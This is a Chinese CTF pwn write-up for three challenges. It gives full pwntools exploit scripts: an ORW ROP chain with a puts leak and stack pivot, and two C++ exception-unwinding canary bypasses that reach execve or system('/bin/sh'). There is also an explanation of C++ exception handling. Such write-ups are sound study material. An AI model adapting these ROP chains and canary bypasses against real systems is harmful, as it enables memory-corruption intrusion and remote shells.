dynamic_but_static

禁了一些系统调用,但是可以利用ORW。并且对输入的数据进行了限制,无法直接利用syscall和pop rax。所以第一次先利用puts函数泄露真实地址,然后返回main函数重新调用一次read,构造bss段上的read的ROP链。读取ORW的syscall调用,然后栈迁移过去执行。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 0
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('node5.buuoj.cn', 28300)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc.so.6')
pop_rdi =0x0000000000401381
ret = 0x000000000040101a
payload = b'a'*0x20 + p64(0) + p64(0) + b'a'*8 + p64(pop_rdi) + p64(elf.got['puts']) + p64(0x4010D4) + p64(0x40138A)
# gdb.attach(p)
sl(payload)
puts_addr = uu64()
lg("puts_addr",puts_addr)
libc_base = puts_addr - libc.sym['puts']
lg("libc_base",libc_base)
pop_rsi = 0x000000000002be51 + libc_base
pop_rdx = 0x00000000000796a2 + libc_base
leave_ret = 0x000000000004da83 + libc_base
mprotect = libc_base + libc.sym['mprotect']
lg("mprotect",mprotect)
read = libc_base + libc.sym['read']
lg("read",read)
bss = 0x404200
syscall = 0x0000000000091316 + libc_base
pop_rax = 0x0000000000045eb0 + libc_base

# pause()
sleep(0.5)
payload = b'a'*0x30 + p64(bss-8) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(0x401104) + p64(leave_ret)

sl(payload)
# pause()
sleep(0.5)
payload = p64(pop_rdi) + p64(0x4042a8) + p64(pop_rsi) + p64(0) + p64(pop_rax) +p64(2) + p64(syscall) + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss+0x300) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) +p64(0) + p64(syscall)+ p64(pop_rdi) + p64(1) + p64(pop_rax) + p64(1) +p64(syscall) + b'/flag\x00\x00\x00'
sl(payload)


inter()

image-20240423174903679

Control

静态编译的,所以不需要泄露libc。发现涉及到了C++异常处理函数

image-20240423175248800

C++异常处理过程

首先异常机制中最重要的三个关键字就是:throw try catch,Throw抛出异常,try 包含异常模块,catch 捕捉抛出的异常,三者各有各的分工,集成在一起就构成了异常的基本机制。

异常抛出

在编译一段 C++ 代码时,编译器会将所有 throw 语句替换为其 C++ 运行时库中的某一指定函数,这里我们叫它 __CxxRTThrowExp(与本文提到的所有其它数据结构和属性名一样,在实际应用中它可以是任意名称)。该函数接收一个编译器认可的内部结构(我们叫它 EXCEPTION 结构)。这个结构中包含了待抛出异常对象的起始地址、用于销毁它的析构函数,以及它的 type_info 信息。对于没有启用 RTTI 机制(编译器禁用了 RTTI 机制或没有在类层次结构中使用虚表)的异常类层次结构,可能还要包含其所有基类的 type_info 信息,以便与相应的 catch 块进行匹配。

__CxxRTThrowExp 首先接收(并保存)EXCEPTION 对象;然后从 TLS:Current ExpHdl 处找到与当前函数对应的 piHandler、nStep 等异常处理相关数据;并按照前文所述的机制完成异常捕获和栈回退。由此完成了包括“抛出”->“捕获”->“回退”等步骤的整套异常处理机制。

异常捕获机制

一个异常被抛出时,就会立即引发 C++ 的异常捕获机制: 根据 c++ 的标准,异常抛出后如果在当前函数内没有被捕捉(catch),它就要沿着函数的调用链继续往上抛,直到走完整个调用链,或者在某个函数中找到相应的 catch。如果走完调用链都没有找到相应的 catch,那么std::terminate() 就会被调用,这个函数默认是把程序 abort,而如果最后找到了相应的 catch,就会进入该 catch 代码块,执行相应的操作。

程序中的 catch 那部分代码有一个专门的名字叫作:Landing pad(不十分准确),从抛异常开始到执行 landing pad 里的代码这中间的整个过程叫作 stack unwind,这个过程包含了两个阶段: 1)从抛异常的函数开始,对调用链上的函数逐个往前查找 landing pad。

2)如果没有找到 landing pad 则把程序 abort,否则,则记下 landing pad 的位置,再重新回到抛异常的函数那里开始,一帧一帧地清理调用链上各个函数内部的局部变量,直到 landing pad 所在的函数为止。

为了能够成功地捕获异常和正确地完成栈回退(stack unwind)

栈回退(Stack Unwind)机制

“回退”是伴随异常处理机制引入 C++ 中的一个新概念,主要用来确保在异常被抛出、捕获并处理后,所有生命期已结束的对象都会被正确地析构,它们所占用的空间会被正确地回收。

总结来说

异常对象由函数 __cxa_allocate_exception() 进行创建,最后由 __cxa_free_exception() 进行销毁。当我们在程序里执行了抛出异常后,编译器为我们做了如下的事情:

1)调用 __cxa_allocate_exception 函数,分配一个异常对象。

2)调用 __cxa_throw 函数,这个函数会将异常对象做一些初始化。

3)__cxa_throw() 调用 Itanium ABI 里的 _Unwind_RaiseException() 从而开始 unwind。

4)_Unwind_RaiseException() 对调用链上的函数进行 unwind 时,调用 personality routine。

5)如果该异常如能被处理(有相应的 catch),则 personality routine 会依次对调用链上的函数进行清理。

6)_Unwind_RaiseException() 将控制权转到相应的catch代码。

7)unwind 完成,用户代码继续执行

简单来说就是,当触发C++异常处理时,会根据当前栈帧rbp和ret来回收栈帧,回到上一个调用的函数中寻找catch,如果没找到就重复上述过程,直到找到为止,如果找到了就从catch开始执行。没找到就会调用std::terminate() 。

利用过程

就是通过控制rbp和ret,来控制流程的走向。具体调试的可以分析一下。

image-20240423180251238

image-20240423180344970

由于这道题开启了canary,如果触发异常处理后,通过找到catch并且执行,会绕过canary检测。并且利用这个leave_ret可以触发一次栈迁移。

那么既然可以绕过canary,那么就思考如何利用栈进行getshell。

image-20240423180634904

image-20240423180720224

可以控制程序流程回到read部分,此时由于rbp是bss段地址,所以就可以利用这个read将数据输入到bss段。因为是静态编译的,所以可以利用syscall调用execve(‘/bin/sh’,0,0)。]

read读取之后,会再次进入到异常处理中,所以说还有一次leave_ret的栈迁移。就是通过这一次栈迁移控制rip执行ret2syscall。

调试一下,控制好bss段的rbp地址和leave_ret的关系,执行ret2syscall即可getshell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('node5.buuoj.cn', 27120)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
rl(b"Gift> ")
pop_rsi = 0x0000000000405285
pop_rdi = 0x0000000000401c72
pop_rdx = 0x0000000000401aff
ret = 0x000000000040101a
syscall = 0x000000000040161e

payload = p64(0x4d3350) + p64(0x402183)
# gdb.attach(p)
s(payload)
rl(b"How much do you know about control?\n")
sleep(0.5)
payload = b'a'*0x70 + p64(0x4D3350)
s(payload)

sleep(0.5)
payload = b'a'*0x78 + p64(ret) +p64(pop_rdi) + p64(0x4D33a8) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(0x0000000000462c27) + p64(0x3b) + p64(syscall) + b'/bin/sh\x00'
s(payload)

inter()

image-20240423181539491

Exception

这道题跟前面一道差不多,都是考察C++异常处理的过程的。

image-20240423181809256

通过这个格式化字符串漏洞将程序运行addr地址和libc的地址以及stack的地址和canary全部泄露出来。

image-20240423181857503

调试一下发现触发异常处理之后,会经过一次ret操作,由于泄露的有栈地址,控制rbp为泄露的stack_addr,因为catch中会对canary进行比较,是通过[ebp-0x18]来判断的,此时rbp是stack_addr的地址,所以需要调整一下,控制rbp为stack_addr+0x18,这样就会从stack_addr地址处的值取当作canary,stack_addr开始的内容我们是可以控制的,所以就能绕过canary了。后面调试发现,我们可以利用main函数的栈帧进行劫持,所以就需要覆盖到前一个函数的返回地址,因为异常处理退栈是通过ret了,因为我们泄露的程序地址,不能修改ret处的地址,然后覆盖到main函数栈帧中的返回地址为ROP链即可。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from libcfind import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 0
if debug:
p = process('./exception')
elf = ELF('./exception')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('node5.buuoj.cn', 25359)
elf = ELF('./exception')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('/pwn/libc.so.6')
rl("please tell me your name\n")
payload = b'%11$p-%9$p_%7$p'
# gdb.attach(p)
sl(payload)
rl(b'0x')
libc_leak = int(p.recv(12),16)
lg("libc_leak",libc_leak)
libc_base = libc_leak-243-libc.sym['__libc_start_main']
lg("libc_base",libc_base)
rl(b'-0x')
addr = int(p.recv(12),16)
lg("addr",addr)
rl(b'_0x')
canary = int(p.recv(16),16)
lg("canary",canary)
addr_base = addr-0x1480
lg("addr_base",addr_base)
rl(b"stack\n")
rl(b'0x')
stack_addr = int(p.recv(12),16)
lg("stack_addr",stack_addr)

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
pop_rdi = 0x00000000000014e3 + addr_base
ret = 0x000000000000101a + addr_base

rl(b"How much do you know about exception?")
payload = p64(canary) + p64(addr_base+0x13DC) + b'a'*0x58 + p64(canary) + p64(stack_addr+0x18) + p64(addr_base+0x1408) + p64(0) + p64(canary) + p64(0)*3 + p64(ret) +p64(pop_rdi) + p64(binsh) + p64(system)
# pause()
s(payload)

inter()

image-20240423182836841